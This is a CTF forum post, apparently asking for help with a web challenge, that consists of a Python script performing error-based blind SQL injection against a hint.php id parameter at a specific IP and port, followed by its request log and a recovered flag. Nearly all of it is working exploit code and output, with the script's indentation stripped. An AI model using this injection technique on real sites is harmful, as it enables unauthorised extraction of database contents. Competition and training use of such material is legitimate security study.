求教一份web题目 - CTF论坛

#-*- coding: utf-8 -*-
import requests
import re
requests=requests.session()
strall=[]
strall.append('0')
for i in range(33,128):
strall.append(str(i))
def isthis(index,charascii,compare):
headers={
'Host': '124.16.75.162:40006',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
url="http://124.16.75.162:40006/hint.php?id=1%22%20and%20if(ascii(right(hint,{}))".format(str(34-index))+compare+"{},1,exp(~0))--+".format(charascii)
print url
r=requests.get(url=url,headers=headers)
a=True
if r.text.find('sql')>=0:
print 'false'
a=False
else:
print 'true'
a=True
return a
ans=''
flag=0
for index in range(1,99):
left=0
right=len(strall)
if flag:
break
while left<=right:
mid=(left+right)>>1
if isthis(index,strall[mid],">"):
left=mid+1
elif isthis(index,strall[mid],"<"):
right=mid-1
else:
if strall[mid]=='0':
flag=1
break
value=chr(int(strall[mid]))
ans+=value
print ans
break
print ans
raw_input('done')

复制代码

http://124.16.75.162:40006/hint.php?id=1%22%20and%20if(ascii(right(hint,0))<43,1,exp(~0))--+
true
http://124.16.75.162:40006/hint.php?id=1%22%20and%20if(ascii(right(hint,0))>37,1,exp(~0))--+
false
http://124.16.75.162:40006/hint.php?id=1%22%20and%20if(ascii(right(hint,0))<37,1,exp(~0))--+
true
http://124.16.75.162:40006/hint.php?id=1%22%20and%20if(ascii(right(hint,0))>34,1,exp(~0))--+
false
http://124.16.75.162:40006/hint.php?id=1%22%20and%20if(ascii(right(hint,0))<34,1,exp(~0))--+
true
http://124.16.75.162:40006/hint.php?id=1%22%20and%20if(ascii(right(hint,0))>0,1,exp(~0))--+
false
http://124.16.75.162:40006/hint.php?id=1%22%20and%20if(ascii(right(hint,0))<0,1,exp(~0))--+
false
flag{read_more_to_get_admin_pass}
done